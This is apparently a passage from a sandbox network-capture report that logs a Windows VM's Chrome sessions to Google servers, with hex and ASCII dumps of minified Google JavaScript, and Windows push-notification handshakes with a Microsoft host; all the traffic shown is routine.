2025-01-03 14:21:38 UTC	1390	IN	Data Raw: 6f 6e 28 61 29 7b 69 66 28 57 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 59 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 49 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 49 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 58 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 Data Ascii: on(a){if(Wd.test(a))return a};_.Yd\u003dfunction(a){if(a instanceof _.Id)if(a instanceof _.Id)a\u003da.i;else throw Error(\"F\");else a\u003d_.Xd(a);return a};_.Zd\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document
2025-01-03 14:21:38 UTC	1390	IN	Data Raw: 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6b 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 79 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 Data Ascii: 03db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.ke\u003dfunction(a,b){_.yb(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49919	216.58.206.68	443	7236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 14:21:38 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-03 14:21:38 UTC	933	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 03 Jan 2025 14:21:38 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-01-03 14:21:38 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2025-01-03 14:21:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49947	172.217.23.110	443	7236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 14:21:41 UTC	713	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-03 14:21:41 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117446 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 02 Jan 2025 15:49:40 GMT Expires: Fri, 02 Jan 2026 15:49:40 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 02 Dec 2024 19:15:50 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 81121 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-03 14:21:41 UTC	475	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 5d 29 3b 0a 76 61 72 20 63 61 2c 64 61 2c 68 61 2c 6d 61 2c 78 61 2c 41 61 2c 42 61 3b 63 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([]);var ca,da,ha,ma,xa,Aa,Ba;ca=function(a){var
2025-01-03 14:21:41 UTC	1390	IN	Data Raw: 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 72 72 6f 72 28 22 61 22 29 3b 7d 3b 5f Data Ascii: lue;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_
2025-01-03 14:21:41 UTC	1390	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 3d 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 62 7d 2c 71 61 3b 69 66 28 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 71 61 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 65 6c 73 65 7b 76 61 72 20 72 61 3b 61 3a 7b 76 61 72 20 73 61 3d 7b 61 3a 21 30 7d 2c 77 61 3d 7b 7d 3b 74 72 79 7b 77 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 73 61 3b 72 61 3d 77 61 2e 61 3b 62 72 65 61 6b 20 61 7d 63 61 74 63 68 28 61 29 7b 7d 72 61 3d 21 31 7d 71 61 3d 72 61 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 62 3b 69 66 28 61 Data Ascii: unction(a){var b=function(){};b.prototype=a;return new b},qa;if(typeof Object.setPrototypeOf=="function")qa=Object.setPrototypeOf;else{var ra;a:{var sa={a:!0},wa={};try{wa.__proto__=sa;ra=wa.a;break a}catch(a){}ra=!1}qa=ra?function(a,b){a.__proto__=b;if(a
2025-01-03 14:21:41 UTC	1390	IN	Data Raw: 66 6f 72 28 3b 74 68 69 73 2e 46 66 26 26 74 68 69 73 2e 46 66 2e 6c 65 6e 67 74 68 3b 29 7b 76 61 72 20 68 3d 74 68 69 73 2e 46 66 3b 74 68 69 73 2e 46 66 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 6b 3d 30 3b 6b 3c 68 2e 6c 65 6e 67 74 68 3b 2b 2b 6b 29 7b 76 61 72 20 6c 3d 68 5b 6b 5d 3b 68 5b 6b 5d 3d 6e 75 6c 6c 3b 74 72 79 7b 6c 28 29 7d 63 61 74 63 68 28 6d 29 7b 74 68 69 73 2e 6d 71 28 6d 29 7d 7d 7d 74 68 69 73 2e 46 66 3d 6e 75 6c 6c 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 71 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 7a 50 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 68 3b 0a 7d 29 7d 3b 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 45 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 Data Ascii: for(;this.Ff&&this.Ff.length;){var h=this.Ff;this.Ff=[];for(var k=0;k<h.length;++k){var l=h[k];h[k]=null;try{l()}catch(m){this.mq(m)}}}this.Ff=null};b.prototype.mq=function(h){this.zP(function(){throw h;})};var e=function(h){this.Ea=0;this.wf=void 0;this
2025-01-03 14:21:41 UTC	1390	IN	Data Raw: 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 7b 63 61 6e 63 65 6c 61 62 6c 65 3a 21 30 7d 29 3a 74 79 70 65 6f 66 20 6b 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 68 3d 6e 65 77 20 6b 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 7b 63 61 6e 63 65 6c 61 62 6c 65 3a 21 30 7d 29 3a 28 68 3d 5f 2e 6c 61 2e 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 43 75 73 74 6f 6d 45 76 65 6e 74 22 29 2c 68 2e 69 6e 69 74 43 75 73 74 6f 6d 45 76 65 6e 74 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 21 31 2c 21 30 2c 68 29 29 3b 68 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 Data Ascii: ("unhandledrejection",{cancelable:!0}):typeof k==="function"?h=new k("unhandledrejection",{cancelable:!0}):(h=_.la.document.createEvent("CustomEvent"),h.initCustomEvent("unhandledrejection",!1,!0,h));h.promise=this;h.reason=this.wf;return l(h)};e.prototyp
2025-01-03 14:21:41 UTC	1390	IN	Data Raw: 6f 6e 65 29 7d 29 7d 3b 72 65 74 75 72 6e 20 65 7d 29 3b 76 61 72 20 43 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 54 68 65 20 27 74 68 69 73 27 20 76 61 6c 75 65 20 66 6f 72 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 6e 75 6c 6c 20 6f 72 20 75 6e 64 65 66 69 6e 65 64 22 29 3b 69 66 28 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 70 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 Data Ascii: one)})};return e});var Ca=function(a,b,c){if(a==null)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype."+c+" must not be a regula
2025-01-03 14:21:41 UTC	1390	IN	Data Raw: 68 69 64 64 65 6e 5f 22 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 65 28 22 66 72 65 65 7a 65 22 29 3b 65 28 22 70 72 65 76 65 6e 74 45 78 74 65 6e 73 69 6f 6e 73 22 29 3b 65 28 22 73 65 61 6c 22 29 3b 76 61 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 46 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 79 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 Data Ascii: hidden_"+Math.random();e("freeze");e("preventExtensions");e("seal");var h=0,k=function(l){this.Fa=(h+=Math.random()+1).toString();if(l){l=_.ya(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Er
2025-01-03 14:21:41 UTC	1390	IN	Data Raw: 68 69 73 5b 31 5d 2e 53 6b 3d 6d 2e 5a 65 2c 74 68 69 73 2e 73 69 7a 65 2b 2b 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 6c 65 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 53 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 53 6b 3d 0a 6b 2e 5a 65 2e 53 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 Data Ascii: his[1].Sk=m.Ze,this.size++);return this};c.prototype.delete=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Sk.next=k.Ze.next,k.Ze.next.Sk=k.Ze.Sk,k.Ze.head=null,this.size--,!0):!1};c.prototy
2025-01-03 14:21:41 UTC	1390	IN	Data Raw: 74 69 6f 6e 28 29 7b 69 66 28 21 61 7c 7c 74 79 70 65 6f 66 20 61 21 3d 22 66 75 6e 63 74 69 6f 6e 22 7c 7c 21 61 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 79 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 Data Ascii: tion(){if(!a\|\|typeof a!="function"\|\|!a.prototype.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ya([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.ne
2025-01-03 14:21:41 UTC	1390	IN	Data Raw: 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 46 61 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 5b 62 2c 63 5d 7d 29 7d 7d 29 3b 0a 6d 61 28 22 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 6b 65 79 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 46 61 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 7d 29 7d 7d 29 3b 6d 61 28 22 67 6c 6f 62 61 6c 54 68 69 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 7c 7c 5f 2e 6c 61 7d 29 3b 6d 61 28 22 53 74 Data Ascii: ay.prototype.entries",function(a){return a?a:function(){return Fa(this,function(b,c){return[b,c]})}});ma("Array.prototype.keys",function(a){return a?a:function(){return Fa(this,function(b){return b})}});ma("globalThis",function(a){return a\|\|_.la});ma("St

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49944	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2025-01-03 14:21:41 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 66 6d 64 41 6e 57 73 79 4f 30 4b 42 39 2b 57 46 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 32 33 31 65 62 62 37 33 32 38 30 64 63 30 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: fmdAnWsyO0KB9+WF.1Context: 5231ebb73280dc06
2025-01-03 14:21:41 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-01-03 14:21:41 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 66 6d 64 41 6e 57 73 79 4f 30 4b 42 39 2b 57 46 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 32 33 31 65 62 62 37 33 32 38 30 64 63 30 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 51 67 34 62 35 38 63 53 30 56 55 49 44 6e 74 37 30 6a 74 4a 77 33 52 6f 42 41 57 50 58 6b 44 58 37 55 5a 6d 62 6f 64 76 54 4d 78 72 37 66 78 5a 4b 69 4f 57 66 37 54 33 35 6e 79 79 68 4f 6a 43 50 4b 4f 5a 36 77 65 52 54 2b 68 2f 4f 39 77 42 31 2b 76 34 56 67 63 38 31 2b 4b 70 39 62 61 69 54 69 42 54 50 67 72 70 62 45 4c 66 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: fmdAnWsyO0KB9+WF.2Context: 5231ebb73280dc06<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaQg4b58cS0VUIDnt70jtJw3RoBAWPXkDX7UZmbodvTMxr7fxZKiOWf7T35nyyhOjCPKOZ6weRT+h/O9wB1+v4Vgc81+Kp9baiTiBTPgrpbELf
2025-01-03 14:21:41 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 66 6d 64 41 6e 57 73 79 4f 30 4b 42 39 2b 57 46 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 32 33 31 65 62 62 37 33 32 38 30 64 63 30 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: fmdAnWsyO0KB9+WF.3Context: 5231ebb73280dc06<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-01-03 14:21:41 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-01-03 14:21:41 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 56 67 31 4b 37 6b 77 36 65 30 47 69 48 30 2b 56 50 77 7a 78 4b 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Vg1K7kw6e0GiH0+VPwzxKA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	50023	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2025-01-03 14:22:03 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 36 54 33 43 39 6e 64 4f 6b 45 75 39 52 4a 4b 6d 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 64 39 33 34 62 64 33 36 34 64 61 34 37 62 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 6T3C9ndOkEu9RJKm.1Context: 1d934bd364da47b6
